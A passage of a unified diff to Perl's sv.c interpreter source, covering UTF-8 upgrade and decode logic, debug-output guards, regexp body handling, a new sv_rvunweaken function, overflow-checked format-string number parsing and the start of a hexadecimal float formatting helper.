-		SvLEN_set(sv, size);
-	    } else {
+            /* Having decremented d, it points to the position to put the
+             * very last byte of the expanded string.  Go backwards through
+             * the string, copying and expanding as we go, stopping when we
+             * get to the part that is invariant the rest of the way down */
 
-		/* Here, have decided to get the exact size of the string.
-		 * Currently this happens only when we know that there is
-		 * guaranteed enough space to fit the converted string, so
-		 * don't have to worry about growing.  If two_byte_count is 0,
-		 * then t points to the first byte of the string which hasn't
-		 * been examined yet.  Otherwise two_byte_count is 1, and t
-		 * points to the first byte in the string that will expand to
-		 * two.  Depending on this, start examining at t or 1 after t.
-		 * */
+            e--;
+            while (e >= t) {
+                if (NATIVE_BYTE_IS_INVARIANT(*e)) {
+                    *d-- = *e;
+                } else {
+                    *d-- = UTF8_EIGHT_BIT_LO(*e);
+                    *d-- = UTF8_EIGHT_BIT_HI(*e);
+                }
+                e--;
+            }
 
-		U8 *d = t + two_byte_count;
-
-
-		/* Count up the remaining bytes that expand to two */
-
-		while (d < e) {
-		    const U8 chr = *d++;
-		    if (! NATIVE_BYTE_IS_INVARIANT(chr)) two_byte_count++;
-		}
-
-		/* The string will expand by just the number of bytes that
-		 * occupy two positions.  But we are one afterwards because of
-		 * the increment just above.  This is the place to put the
-		 * trailing NUL, and to set the length before we decrement */
-
-		d += two_byte_count;
-		SvCUR_set(sv, d - s);
-		*d-- = '\0';
-
-
-		/* Having decremented d, it points to the position to put the
-		 * very last byte of the expanded string.  Go backwards through
-		 * the string, copying and expanding as we go, stopping when we
-		 * get to the part that is invariant the rest of the way down */
-
-		e--;
-		while (e >= t) {
-		    if (NATIVE_BYTE_IS_INVARIANT(*e)) {
-			*d-- = *e;
-		    } else {
-			*d-- = UTF8_EIGHT_BIT_LO(*e);
-			*d-- = UTF8_EIGHT_BIT_HI(*e);
-		    }
-                    e--;
-		}
-	    }
-
 	    if (SvTYPE(sv) >= SVt_PVMG && SvMAGIC(sv)) {
 		/* Update pos. We do it at the end rather than during
 		 * the upgrade, to avoid slowing down the common case
@@ -3672,7 +3583,6 @@
 	}
     }
 
-    /* Mark as UTF-8 even if no variant - saves scanning loop */
     SvUTF8_on(sv);
     return SvCUR(sv);
 }
@@ -3777,7 +3687,7 @@
     PERL_ARGS_ASSERT_SV_UTF8_DECODE;
 
     if (SvPOKp(sv)) {
-        const U8 *start, *c;
+        const U8 *start, *c, *first_variant;
 
 	/* The octets may have got themselves encoded - get them back as
 	 * bytes
@@ -3789,9 +3699,9 @@
          * we want to make sure everything inside is valid utf8 first.
          */
         c = start = (const U8 *) SvPVX_const(sv);
-	if (!is_utf8_string(c, SvCUR(sv)))
-	    return FALSE;
-        if (! is_utf8_invariant_string(c, SvCUR(sv))) {
+        if (! is_utf8_invariant_string_loc(c, SvCUR(sv), &first_variant)) {
+            if (!is_utf8_string(first_variant, SvCUR(sv) - (first_variant -c)))
+                return FALSE;
             SvUTF8_on(sv);
         }
 	if (SvTYPE(sv) >= SVt_PVMG && SvMAGIC(sv)) {
@@ -3912,8 +3822,8 @@
        glob to begin with. */
     if(dtype == SVt_PVGV) {
         const char * const name = GvNAME((const GV *)dstr);
-        if(
-            strEQ(name,"ISA")
+        const STRLEN len = GvNAMELEN(dstr);
+        if(memEQs(name, len, "ISA")
          /* The stash may have been detached from the symbol table, so
             check its name. */
          && GvSTASH(dstr) && HvENAME(GvSTASH(dstr))
@@ -3920,7 +3830,6 @@
         )
             mro_changes = 2;
         else {
-            const STRLEN len = GvNAMELEN(dstr);
             if ((len > 1 && name[len-2] == ':' && name[len-1] == ':')
              || (len == 1 && name[0] == ':')) {
                 mro_changes = 3;
@@ -4133,7 +4042,7 @@
 	}
 	else if (
 	    stype == SVt_PVAV && sref != dref
-	 && strEQ(GvNAME((GV*)dstr), "ISA")
+	 && memEQs(GvNAME((GV*)dstr), GvNAMELEN((GV*)dstr), "ISA")
 	 /* The stash may have been detached from the symbol table, so
 	    check its name before doing anything. */
 	 && GvSTASH(dstr) && HvENAME(GvSTASH(dstr))
@@ -4440,15 +4349,7 @@
     case SVt_REGEXP:
       upgregexp:
 	if (dtype < SVt_REGEXP)
-	{
-	    if (dtype >= SVt_PV) {
-		SvPV_free(dstr);
-		SvPV_set(dstr, 0);
-		SvLEN_set(dstr, 0);
-		SvCUR_set(dstr, 0);
-	    }
 	    sv_upgrade(dstr, SVt_REGEXP);
-	}
 	break;
 
 	case SVt_INVLIST:
@@ -4697,11 +4598,13 @@
             ) {
             /* Either it's a shared hash key, or it's suitable for
                copy-on-write.  */
+#ifdef DEBUGGING
             if (DEBUG_C_TEST) {
                 PerlIO_printf(Perl_debug_log, "Copy on write: sstr --> dstr\n");
                 sv_dump(sstr);
                 sv_dump(dstr);
             }
+#endif
 #ifdef PERL_ANY_COW
             if (!(sflags & SVf_IsCOW)) {
                     SvIsCOW_on(sstr);
@@ -4792,7 +4695,7 @@
 The perl equivalent is C<$sv = undef;>. Note that it doesn't free any string
 buffer, unlike C<undef $sv>.
 
-Introduced in perl 5.26.0.
+Introduced in perl 5.25.12.
 
 =cut
 */
@@ -4875,7 +4778,7 @@
 #endif
 
     PERL_ARGS_ASSERT_SV_SETSV_COW;
-
+#ifdef DEBUGGING
     if (DEBUG_C_TEST) {
 	PerlIO_printf(Perl_debug_log, "Fast copy on write: %p -> %p\n",
 		      (void*)sstr, (void*)dstr);
@@ -4883,7 +4786,7 @@
 	if (dstr)
 		    sv_dump(dstr);
     }
-
+#endif
     if (dstr) {
 	if (SvTHINKFIRST(dstr))
 	    sv_force_normal_flags(dstr, SV_COW_DROP_PV);
@@ -4930,9 +4833,10 @@
 	SvUTF8_on(dstr);
     SvLEN_set(dstr, len);
     SvCUR_set(dstr, cur);
-    if (DEBUG_C_TEST) {
-	sv_dump(dstr);
-    }
+#ifdef DEBUGGING
+    if (DEBUG_C_TEST)
+		sv_dump(dstr);
+#endif
     return dstr;
 }
 #endif
@@ -5138,7 +5042,7 @@
 that pointer (e.g. ptr + 1) be used.
 
 If S<C<flags & SV_SMAGIC>> is true, will call C<SvSETMAGIC>.  If
-S<C<flags> & SV_HAS_TRAILING_NUL>> is true, then C<ptr[len]> must be C<NUL>,
+S<C<flags & SV_HAS_TRAILING_NUL>> is true, then C<ptr[len]> must be C<NUL>,
 and the realloc
 will be skipped (i.e. the buffer is actually at least 1 byte longer than
 C<len>, and already meets the requirements for storing in C<SvPVX>).
@@ -5207,29 +5111,7 @@
 	SvSETMAGIC(sv);
 }
 
-/*
-=for apidoc sv_force_normal_flags
 
-Undo various types of fakery on an SV, where fakery means
-"more than" a string: if the PV is a shared string, make
-a private copy; if we're a ref, stop refing; if we're a glob, downgrade to
-an C<xpvmg>; if we're a copy-on-write scalar, this is the on-write time when
-we do the copy, and is also used locally; if this is a
-vstring, drop the vstring magic.  If C<SV_COW_DROP_PV> is set
-then a copy-on-write scalar drops its PV buffer (if any) and becomes
-C<SvPOK_off> rather than making a copy.  (Used where this
-scalar is about to be set to some other value.)  In addition,
-the C<flags> parameter gets passed to C<sv_unref_flags()>
-when unreffing.  C<sv_force_normal> calls this function
-with flags set to 0.
-
-This function is expected to be used to signal to perl that this SV is
-about to be written to, and any extra book-keeping needs to be taken care
-of.  Hence, it croaks on read-only values.
-
-=cut
-*/
-
 static void
 S_sv_uncow(pTHX_ SV * const sv, const U32 flags)
 {
@@ -5240,6 +5122,7 @@
 	const STRLEN len = SvLEN(sv);
 	const STRLEN cur = SvCUR(sv);
 
+#ifdef DEBUGGING
         if (DEBUG_C_TEST) {
                 PerlIO_printf(Perl_debug_log,
                               "Copy on write: Force normal %ld\n",
@@ -5246,6 +5129,7 @@
                               (long) flags);
                 sv_dump(sv);
         }
+#endif
         SvIsCOW_off(sv);
 # ifdef PERL_COPY_ON_WRITE
 	if (len) {
@@ -5285,9 +5169,10 @@
 	    } else {
 		unshare_hek(SvSHARED_HEK_FROM_PV(pvx));
 	    }
-            if (DEBUG_C_TEST) {
+#ifdef DEBUGGING
+            if (DEBUG_C_TEST)
                 sv_dump(sv);
-            }
+#endif
 	}
 #else
 	    const char * const pvx = SvPVX_const(sv);
@@ -5308,6 +5193,30 @@
     }
 }
 
+
+/*
+=for apidoc sv_force_normal_flags
+
+Undo various types of fakery on an SV, where fakery means
+"more than" a string: if the PV is a shared string, make
+a private copy; if we're a ref, stop refing; if we're a glob, downgrade to
+an C<xpvmg>; if we're a copy-on-write scalar, this is the on-write time when
+we do the copy, and is also used locally; if this is a
+vstring, drop the vstring magic.  If C<SV_COW_DROP_PV> is set
+then a copy-on-write scalar drops its PV buffer (if any) and becomes
+C<SvPOK_off> rather than making a copy.  (Used where this
+scalar is about to be set to some other value.)  In addition,
+the C<flags> parameter gets passed to C<sv_unref_flags()>
+when unreffing.  C<sv_force_normal> calls this function
+with flags set to 0.
+
+This function is expected to be used to signal to perl that this SV is
+about to be written to, and any extra book-keeping needs to be taken care
+of.  Hence, it croaks on read-only values.
+
+=cut
+*/
+
 void
 Perl_sv_force_normal_flags(pTHX_ SV *const sv, const U32 flags)
 {
@@ -5328,7 +5237,7 @@
 	const svtype new_type =
 	  islv ? SVt_NULL : SvMAGIC(sv) || SvSTASH(sv) ? SVt_PVMG : SVt_PV;
 	SV *const temp = newSV_type(new_type);
-	regexp *const temp_p = ReANY((REGEXP *)sv);
+	regexp *old_rx_body;
 
 	if (new_type == SVt_PVMG) {
 	    SvMAGIC_set(temp, SvMAGIC(sv));
@@ -5336,15 +5245,26 @@
 	    SvSTASH_set(temp, SvSTASH(sv));
 	    SvSTASH_set(sv, NULL);
 	}
-	if (!islv) SvCUR_set(temp, SvCUR(sv));
-	/* Remember that SvPVX is in the head, not the body.  But
-	   RX_WRAPPED is in the body. */
+	if (!islv)
+            SvCUR_set(temp, SvCUR(sv));
+	/* Remember that SvPVX is in the head, not the body. */
 	assert(ReANY((REGEXP *)sv)->mother_re);
+
+        if (islv) {
+            /* LV-as-regex has sv->sv_any pointing to an XPVLV body,
+             * whose xpvlenu_rx field points to the regex body */
+            XPV *xpv = (XPV*)(SvANY(sv));
+            old_rx_body = xpv->xpv_len_u.xpvlenu_rx;
+            xpv->xpv_len_u.xpvlenu_rx = NULL;
+        }
+        else
+            old_rx_body = ReANY((REGEXP *)sv);
+
 	/* Their buffer is already owned by someone else. */
 	if (flags & SV_COW_DROP_PV) {
 	    /* SvLEN is already 0.  For SVt_REGEXP, we have a brand new
-	       zeroed body.  For SVt_PVLV, it should have been set to 0
-	       before turning into a regexp. */
+	       zeroed body.  For SVt_PVLV, we zeroed it above (len field
+               a union with xpvlenu_rx) */
 	    assert(!SvLEN(islv ? sv : temp));
 	    sv->sv_u.svu_pv = 0;
 	}
@@ -5365,8 +5285,7 @@
 
 	SvFLAGS(temp) &= ~(SVTYPEMASK);
 	SvFLAGS(temp) |= SVt_REGEXP|SVf_FAKE;
-	SvANY(temp) = temp_p;
-	temp->sv_u.svu_rx = (regexp *)temp_p;
+	SvANY(temp) = old_rx_body;
 
 	SvREFCNT_dec_NN(temp);
     }
@@ -5952,7 +5871,8 @@
 referred-to SV C<PERL_MAGIC_backref> magic if it hasn't already; and
 push a back-reference to this RV onto the array of backreferences
 associated with that magic.  If the RV is magical, set magic will be
-called after the RV is cleared.
+called after the RV is cleared.  Silently ignores C<undef> and warns
+on already-weak references.
 
 =cut
 */
@@ -5981,6 +5901,42 @@
 }
 
 /*
+=for apidoc sv_rvunweaken
+
+Unweaken a reference: Clear the C<SvWEAKREF> flag on this RV; remove
+the backreference to this RV from the array of backreferences
+associated with the target SV, increment the refcount of the target.
+Silently ignores C<undef> and warns on non-weak references.
+
+=cut
+*/
+
+SV *
+Perl_sv_rvunweaken(pTHX_ SV *const sv)
+{
+    SV *tsv;
+
+    PERL_ARGS_ASSERT_SV_RVUNWEAKEN;
+
+    if (!SvOK(sv)) /* let undefs pass */
+        return sv;
+    if (!SvROK(sv))
+        Perl_croak(aTHX_ "Can't unweaken a nonreference");
+    else if (!SvWEAKREF(sv)) {
+        Perl_ck_warner(aTHX_ packWARN(WARN_MISC), "Reference is not weak");
+        return sv;
+    }
+    else if (SvREADONLY(sv)) croak_no_modify();
+
+    tsv = SvRV(sv);
+    SvWEAKREF_off(sv);
+    SvROK_on(sv);
+    SvREFCNT_inc_NN(tsv);
+    Perl_sv_del_backref(aTHX_ tsv, sv);
+    return sv;
+}
+
+/*
 =for apidoc sv_get_backrefs
 
 If C<sv> is the target of a weak reference then it returns the back
@@ -6615,7 +6571,6 @@
 	    goto freescalar;
 	case SVt_REGEXP:
 	    /* FIXME for plugins */
-	  freeregexp:
 	    pregfree2((REGEXP*) sv);
 	    goto freescalar;
 	case SVt_PVCV:
@@ -6694,7 +6649,16 @@
 	    }
 	    else if (LvTYPE(sv) != 't') /* unless tie: unrefcnted fake SV**  */
 		SvREFCNT_dec(LvTARG(sv));
-	    if (isREGEXP(sv)) goto freeregexp;
+	    if (isREGEXP(sv)) {
+                /* SvLEN points to a regex body. Free the body, then
+                 * set SvLEN to whatever value was in the now-freed
+                 * regex body. The PVX buffer is shared by multiple re's
+                 * and only freed once, by the re whose len in non-null */
+                STRLEN len = ReANY(sv)->xpv_len;
+                pregfree2((REGEXP*) sv);
+                SvLEN_set((sv), len);
+                goto freescalar;
+            }
             /* FALLTHROUGH */
 	case SVt_PVGV:
 	    if (isGV_with_GP(sv)) {
@@ -6751,10 +6715,12 @@
 		     && !(IoFLAGS(sv) & IOf_FAKE_DIRP)))
 	    {
 		if (SvIsCOW(sv)) {
+#ifdef DEBUGGING
 		    if (DEBUG_C_TEST) {
 			PerlIO_printf(Perl_debug_log, "Copy on write: clear\n");
 			sv_dump(sv);
 		    }
+#endif
 		    if (SvLEN(sv)) {
 			if (CowREFCNT(sv)) {
 			    sv_buf_to_rw(sv);
@@ -7841,8 +7807,6 @@
     STRLEN cur1;
     const char *pv2;
     STRLEN cur2;
-    I32  eq     = 0;
-    SV* svrecode = NULL;
 
     if (!sv1) {
 	pv1 = "";
@@ -7882,11 +7846,9 @@
     }
 
     if (cur1 == cur2)
-	eq = (pv1 == pv2) || memEQ(pv1, pv2, cur1);
-	
-    SvREFCNT_dec(svrecode);
-
-    return eq;
+	return (pv1 == pv2) || memEQ(pv1, pv2, cur1);
+    else
+	return 0;
 }
 
 /*
@@ -8948,7 +8910,7 @@
     if (flags & SVp_NOK) {
 	const NV was = SvNVX(sv);
 	if (LIKELY(!Perl_isinfnan(was)) &&
-            NV_OVERFLOWS_INTEGERS_AT &&
+            NV_OVERFLOWS_INTEGERS_AT != 0.0 &&
 	    was >= NV_OVERFLOWS_INTEGERS_AT) {
 	    /* diag_listed_as: Lost precision when %s %f by 1 */
 	    Perl_ck_warner(aTHX_ packWARN(WARN_IMPRECISION),
@@ -9131,7 +9093,7 @@
 	{
 	    const NV was = SvNVX(sv);
 	    if (LIKELY(!Perl_isinfnan(was)) &&
-                NV_OVERFLOWS_INTEGERS_AT &&
+                NV_OVERFLOWS_INTEGERS_AT != 0.0 &&
 		was <= -NV_OVERFLOWS_INTEGERS_AT) {
 		/* diag_listed_as: Lost precision when %s %f by 1 */
 		Perl_ck_warner(aTHX_ packWARN(WARN_IMPRECISION),
@@ -9364,7 +9326,7 @@
 (C<\0>) and other binary data.  The reference count for the SV is set to 1.
 Note that if C<len> is zero, Perl will create a zero length (Perl) string.  You
 are responsible for ensuring that the source buffer is at least
-C<len> bytes long.  If the C<buffer> argument is NULL the new SV will be
+C<len> bytes long.  If the C<s> argument is NULL the new SV will be
 undefined.
 
 =cut
@@ -10945,15 +10907,38 @@
 
 void
 Perl_sv_vsetpvfn(pTHX_ SV *const sv, const char *const pat, const STRLEN patlen,
-                 va_list *const args, SV **const svargs, const I32 svmax, bool *const maybe_tainted)
+                 va_list *const args, SV **const svargs, const Size_t sv_count, bool *const maybe_tainted)
 {
     PERL_ARGS_ASSERT_SV_VSETPVFN;
 
     SvPVCLEAR(sv);
-    sv_vcatpvfn_flags(sv, pat, patlen, args, svargs, svmax, maybe_tainted, 0);
+    sv_vcatpvfn_flags(sv, pat, patlen, args, svargs, sv_count, maybe_tainted, 0);
 }
 
 
+/* simplified inline Perl_sv_catpvn_nomg() when you know the SV's SvPOK */
+
+PERL_STATIC_INLINE void
+S_sv_catpvn_simple(pTHX_ SV *const sv, const char* const buf, const STRLEN len)
+{
+    STRLEN const need = len + SvCUR(sv) + 1;
+    char *end;
+
+    /* can't wrap as both len and SvCUR() are allocated in
+     * memory and together can't consume all the address space
+     */
+    assert(need > len);
+
+    assert(SvPOK(sv));
+    SvGROW(sv, need);
+    end = SvEND(sv);
+    Copy(buf, end, len, char);
+    end += len;
+    *end = '\0';
+    SvCUR_set(sv, need - 1);
+}
+
+
 /*
  * Warn of missing argument to sprintf. The value used in place of such
  * arguments should be &PL_sv_no; an undefined value would yield
@@ -10968,28 +10953,102 @@
 }
 
 
-STATIC I32
-S_expect_number(pTHX_ char **const pattern)
+static void
+S_croak_overflow()
 {
-    I32 var = 0;
+    dTHX;
+    Perl_croak(aTHX_ "Integer overflow in format string for %s",
+                    (PL_op ? OP_DESC(PL_op) : "sv_vcatpvfn"));
+}
 
+
+/* Given an int i from the next arg (if args is true) or an sv from an arg
+ * (if args is false), try to extract a STRLEN-ranged value from the arg,
+ * with overflow checking.
+ * Sets *neg to true if the value was negative (untouched otherwise.
+ * Returns the absolute value.
+ * As an extra margin of safety, it croaks if the returned value would
+ * exceed the maximum value of a STRLEN / 4.
+ */
+
+static STRLEN
+S_sprintf_arg_num_val(pTHX_ va_list *const args, int i, SV *sv, bool *neg)
+{
+    IV iv;
+
+    if (args) {
+        iv = i;
+        goto do_iv;
+    }
+
+    if (!sv)
+        return 0;
+
+    SvGETMAGIC(sv);
+
+    if (UNLIKELY(SvIsUV(sv))) {
+        UV uv = SvUV_nomg(sv);
+        if (uv > IV_MAX)
+            S_croak_overflow();
+        iv = uv;
+    }
+    else {
+        iv = SvIV_nomg(sv);
+      do_iv:
+        if (iv < 0) {
+            if (iv < -IV_MAX)
+                S_croak_overflow();
+            iv = -iv;
+            *neg = TRUE;
+        }
+    }
+
+    if (iv > (IV)(((STRLEN)~0) / 4))
+        S_croak_overflow();
+
+    return (STRLEN)iv;
+}
+
+
+/* Returns true if c is in the range '1'..'9'
+ * Written with the cast so it only needs one conditional test
+ */
+#define IS_1_TO_9(c) ((U8)(c - '1') <= 8)
+
+/* Read in and return a number. Updates *pattern to point to the char
+ * following the number. Expects the first char to 1..9.
+ * Croaks if the number exceeds 1/4 of the maximum value of STRLEN.
+ * This is a belt-and-braces safety measure to complement any
+ * overflow/wrap checks done in the main body of sv_vcatpvfn_flags.
+ * It means that e.g. on a 32-bit system the width/precision can't be more
+ * than 1G, which seems reasonable.
+ */
+
+STATIC STRLEN
+S_expect_number(pTHX_ const char **const pattern)
+{
+    STRLEN var;
+
     PERL_ARGS_ASSERT_EXPECT_NUMBER;
 
-    switch (**pattern) {
-    case '1': case '2': case '3':
-    case '4': case '5': case '6':
-    case '7': case '8': case '9':
-	var = *(*pattern)++ - '0';
-	while (isDIGIT(**pattern)) {
-	    const I32 tmp = var * 10 + (*(*pattern)++ - '0');
-	    if (tmp < var)
-		Perl_croak(aTHX_ "Integer overflow in format string for %s", (PL_op ? OP_DESC(PL_op) : "sv_vcatpvfn"));
-	    var = tmp;
-	}
+    assert(IS_1_TO_9(**pattern));
+
+    var = *(*pattern)++ - '0';
+    while (isDIGIT(**pattern)) {
+        /* if var * 10 + 9 would exceed 1/4 max strlen, croak */
+        if (var > ((((STRLEN)~0) / 4 - 9) / 10))
+            S_croak_overflow();
+        var = var * 10 + (*(*pattern)++ - '0');
     }
     return var;
 }
 
+/* Implement a fast "%.0f": given a pointer to the end of a buffer (caller
+ * ensures it's big enough), back fill it with the rounded integer part of
+ * nv. Returns ptr to start of string, and sets *len to its length.
+ * Returns NULL if not convertible.
+ */
+
 STATIC char *
 S_F0convert(NV nv, char *const endbuf, STRLEN *const len)
 {
@@ -10998,19 +11057,18 @@
 
     PERL_ARGS_ASSERT_F0CONVERT;
 
-    if (UNLIKELY(Perl_isinfnan(nv))) {
-        STRLEN n = S_infnan_2pv(nv, endbuf - *len, *len, 0);
-        *len = n;
-        return endbuf - n;
-    }
+    assert(!Perl_isinfnan(nv));
     if (neg)
 	nv = -nv;
-    if (nv < UV_MAX) {
+    if (nv != 0.0 && nv < UV_MAX) {
 	char *p = endbuf;
-	nv += 0.5;
 	uv = (UV)nv;
-	if (uv & 1 && uv == nv)
-	    uv--;			/* Round to even */
+	if (uv != nv) {
+	    nv += 0.5;
+	    uv = (UV)nv;
+	    if (uv & 1 && uv == nv)
+		uv--;			/* Round to even */
+	}
 	do {
 	    const unsigned dig = uv % 10;
 	    *--p = '0' + dig;
@@ -11024,44 +11082,45 @@
 }
 
 
-/*
-=for apidoc sv_vcatpvfn
-
-=for apidoc sv_vcatpvfn_flags
-
-Processes its arguments like C<vsprintf> and appends the formatted output
-to an SV.  Uses an array of SVs if the C-style variable argument list is
-missing (C<NULL>). Argument reordering (using format specifiers like C<%2$d>
-or C<%*2$d>) is supported only when using an array of SVs; using a C-style
-C<va_list> argument list with a format string that uses argument reordering
-will yield an exception.
-
-When running with taint checks enabled, indicates via
-C<maybe_tainted> if results are untrustworthy (often due to the use of
-locales).
-
-If called as C<sv_vcatpvfn> or flags has the C<SV_GMAGIC> bit set, calls get magic.
-
-Usually used via one of its frontends C<sv_vcatpvf> and C<sv_vcatpvf_mg>.
-
-=cut
-*/
-
-#define VECTORIZE_ARGS	vecsv = va_arg(*args, SV*);\
-			vecstr = (U8*)SvPV_const(vecsv,veclen);\
-			vec_utf8 = DO_UTF8(vecsv);
-
 /* XXX maybe_tainted is never assigned to, so the doc above is lying. */
 
 void
 Perl_sv_vcatpvfn(pTHX_ SV *const sv, const char *const pat, const STRLEN patlen,
-                 va_list *const args, SV **const svargs, const I32 svmax, bool *const maybe_tainted)
+                 va_list *const args, SV **const svargs, const Size_t sv_count, bool *const maybe_tainted)
 {
     PERL_ARGS_ASSERT_SV_VCATPVFN;
 
-    sv_vcatpvfn_flags(sv, pat, patlen, args, svargs, svmax, maybe_tainted, SV_GMAGIC|SV_SMAGIC);
+    sv_vcatpvfn_flags(sv, pat, patlen, args, svargs, sv_count, maybe_tainted, SV_GMAGIC|SV_SMAGIC);
 }
 
+
+/* For the vcatpvfn code, we need a long double target in case
+ * HAS_LONG_DOUBLE, even without USE_LONG_DOUBLE, so that we can printf
+ * with long double formats, even without NV being long double.  But we
+ * call the target 'fv' instead of 'nv', since most of the time it is not
+ * (most compilers these days recognize "long double", even if only as a
+ * synonym for "double").
+*/
+#if defined(HAS_LONG_DOUBLE) && LONG_DOUBLESIZE > DOUBLESIZE && \
+	defined(PERL_PRIgldbl) && !defined(USE_QUADMATH)
+#  define VCATPVFN_FV_GF PERL_PRIgldbl
+#  if defined(__VMS) && defined(__ia64) && defined(__IEEE_FLOAT)
+       /* Work around breakage in OTS$CVT_FLOAT_T_X */
+#    define VCATPVFN_NV_TO_FV(nv,fv)                    \
+            STMT_START {                                \
+                double _dv = nv;                        \
+                fv = Perl_isnan(_dv) ? LDBL_QNAN : _dv; \
+            } STMT_END
+#  else
+#    define VCATPVFN_NV_TO_FV(nv,fv) (fv)=(nv)
+#  endif
+   typedef long double vcatpvfn_long_double_t;
+#else
+#  define VCATPVFN_FV_GF NVgf
+#  define VCATPVFN_NV_TO_FV(nv,fv) (fv)=(nv)
+   typedef NV vcatpvfn_long_double_t;
+#endif
+
 #ifdef LONGDOUBLE_DOUBLEDOUBLE
 /* The first double can be as large as 2**1023, or '1' x '0' x 1023.
  * The second double can be as small as 2**-1074, or '0' x 1073 . '1'.
@@ -11111,7 +11170,7 @@
 #  define HEXTRACT_MIX_ENDIAN
 #endif
 
-/* S_hextract() is a helper for Perl_sv_vcatpvfn_flags, for extracting
+/* S_hextract() is a helper for S_format_hexfp, for extracting
  * the hexadecimal values (for %a/%A).  The nv is the NV where the value
  * are being extracted from (either directly from the long double in-memory
  * presentation, or from the uquad computed via frexp+ldexp).  frexp also
@@ -11193,6 +11252,9 @@
 #endif
 
     const U8* vmaxend = vhex + HEXTRACTSIZE;
+
+    assert(HEXTRACTSIZE <= VHEX_SIZE);
+
     PERL_UNUSED_VAR(ix); /* might happen */
     (void)Perl_frexp(PERL_ABS(nv), exponent);
     *subnormal = FALSE;
@@ -11211,7 +11273,7 @@
         const U8* nvp = (const U8*)(&nv);
 	HEXTRACT_GET_SUBNORMAL(nv);
         HEXTRACT_IMPLICIT_BIT(nv);
-#   undef HEXTRACT_HAS_TOP_NYBBLE
+#    undef HEXTRACT_HAS_TOP_NYBBLE
         HEXTRACT_BYTES_LE(13, 0);
 #  elif LONG_DOUBLEKIND == LONG_DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN
         /* Used in e.g. Solaris Sparc and HP-UX PA-RISC, e.g. -0.1L:
@@ -11221,7 +11283,7 @@
         const U8* nvp = (const U8*)(&nv);
 	HEXTRACT_GET_SUBNORMAL(nv);
         HEXTRACT_IMPLICIT_BIT(nv);
-#   undef HEXTRACT_HAS_TOP_NYBBLE
+#    undef HEXTRACT_HAS_TOP_NYBBLE
         HEXTRACT_BYTES_BE(2, 15);
 #  elif LONG_DOUBLEKIND == LONG_DOUBLE_IS_X86_80_BIT_LITTLE_ENDIAN
         /* x86 80-bit "extended precision", 64 bits of mantissa / fraction /
@@ -11321,9 +11383,10 @@
 #    define HEXTRACT_FALLBACK
 #  endif
 #endif /* #if defined(USE_LONG_DOUBLE) && (NVSIZE > DOUBLESIZE) #else */
-#  ifdef HEXTRACT_FALLBACK
+
+#ifdef HEXTRACT_FALLBACK
 	HEXTRACT_GET_SUBNORMAL(nv);
-#    undef HEXTRACT_HAS_TOP_NYBBLE /* Meaningless, but consistent. */
+#  undef HEXTRACT_HAS_TOP_NYBBLE /* Meaningless, but consistent. */
         /* The fallback is used for the double-double format, and
          * for unknown long double formats, and for unknown double
          * formats, or in general unknown NV formats. */
@@ -11404,7 +11467,7 @@
                     v++;
             }
         }
-#  endif
+#endif
     }
     /* Croak for various reasons: if the output pointer escaped the
      * output buffer, if the extraction index escaped the extraction
@@ -11422,40 +11485,352 @@
     return v;
 }
 
-/* Helper for sv_vcatpvfn_flags().  */
-#define FETCH_VCATPVFN_ARGUMENT(var, in_range, expr)   \
-    STMT_START {                                       \
-        if (in_range)                                  \
-            (var) = (expr);                            \
-        else {                                         \
-            (var) = &PL_sv_no; /* [perl #71000] */     \
-            arg_missing = TRUE;                        \
-        }                                              \
-    } STMT_END
 
+/* S_format_hexfp(): helper function for Perl_sv_vcatpvfn_flags().
+ *
+ * Processes the %a/%A hexadecimal floating-point format, since the
+ * built-in snprintf()s which are used for most of the f/p formats, don't
+ * universally handle %a/%A.
+ * Populates buf of length bufsize, and returns the length of the created
+ * string.
+ * The rest of the args have the same meaning as the local vars of the
+ * same name within Perl_sv_vcatpvfn_flags().
+ *
+ * It assumes the caller has already done STORE_LC_NUMERIC_SET_TO_NEEDED();
+ *
+ * It requires the caller to make buf large enough.
+ */
+
+static STRLEN
+S_format_hexfp(pTHX_ char * const buf, const STRLEN bufsize, const char c,
+                    const NV nv, const vcatpvfn_long_double_t fv,
+                    bool has_precis, STRLEN precis, STRLEN width,
+                    bool alt, char plus, bool left, bool fill)
+{
+    /* Hexadecimal floating point. */
+    char* p = buf;
+    U8 vhex[VHEX_SIZE];
+    U8* v = vhex; /* working pointer to vhex */
+    U8* vend; /* pointer to one beyond last digit of vhex */
+    U8* vfnz = NULL; /* first non-zero */
+    U8* vlnz = NULL; /* last non-zero */
+    U8* v0 = NULL; /* first output */
+    const bool lower = (c == 'a');
+    /* At output the values of vhex (up to vend) will
+     * be mapped through the xdig to get the actual
+     * human-readable xdigits. */
+    const char* xdig = PL_hexdigit;
+    STRLEN zerotail = 0; /* how many extra zeros to append */
+    int exponent = 0; /* exponent of the floating point input */
+    bool hexradix = FALSE; /* should we output the radix */
+    bool subnormal = FALSE; /* IEEE 754 subnormal/denormal */
+    bool negative = FALSE;
+    STRLEN elen;
+
+    /* XXX: NaN, Inf -- though they are printed as "NaN" and "Inf".
+     *
+     * For example with denormals, (assuming the vanilla
+     * 64-bit double): the exponent is zero. 1xp-1074 is
+     * the smallest denormal and the smallest double, it
+     * could be output also as 0x0.0000000000001p-1022 to
+     * match its internal structure. */
+
+    vend = S_hextract(aTHX_ nv, &exponent, &subnormal, vhex, NULL);
+    S_hextract(aTHX_ nv, &exponent, &subnormal, vhex, vend);
+
+#if NVSIZE > DOUBLESIZE
+#  ifdef HEXTRACT_HAS_IMPLICIT_BIT
+    /* In this case there is an implicit bit,
+     * and therefore the exponent is shifted by one. */
+    exponent--;
+#  elif defined(NV_X86_80_BIT)
+    if (subnormal) {
+        /* The subnormals of the x86-80 have a base exponent of -16382,
+         * (while the physical exponent bits are zero) but the frexp()
+         * returned the scientific-style floating exponent.  We want
+         * to map the last one as:
+         * -16831..-16384 -> -16382 (the last normal is 0x1p-16382)
+         * -16835..-16388 -> -16384
+         * since we want to keep the first hexdigit
+         * as one of the [8421]. */
+        exponent = -4 * ( (exponent + 1) / -4) - 2;
+    } else {
+        exponent -= 4;
+    }
+    /* TBD: other non-implicit-bit platforms than the x86-80. */
+#  endif
+#endif
+
+    negative = fv < 0 || Perl_signbit(nv);
+    if (negative)
+        *p++ = '-';
+    else if (plus)
+        *p++ = plus;
+    *p++ = '0';
+    if (lower) {
+        *p++ = 'x';
+    }
+    else {
+        *p++ = 'X';
+        xdig += 16; /* Use uppercase hex. */
+    }
+
+    /* Find the first non-zero xdigit. */
+    for (v = vhex; v < vend; v++) {
+        if (*v) {
+            vfnz = v;
+            break;
+        }
+    }
+
+    if (vfnz) {
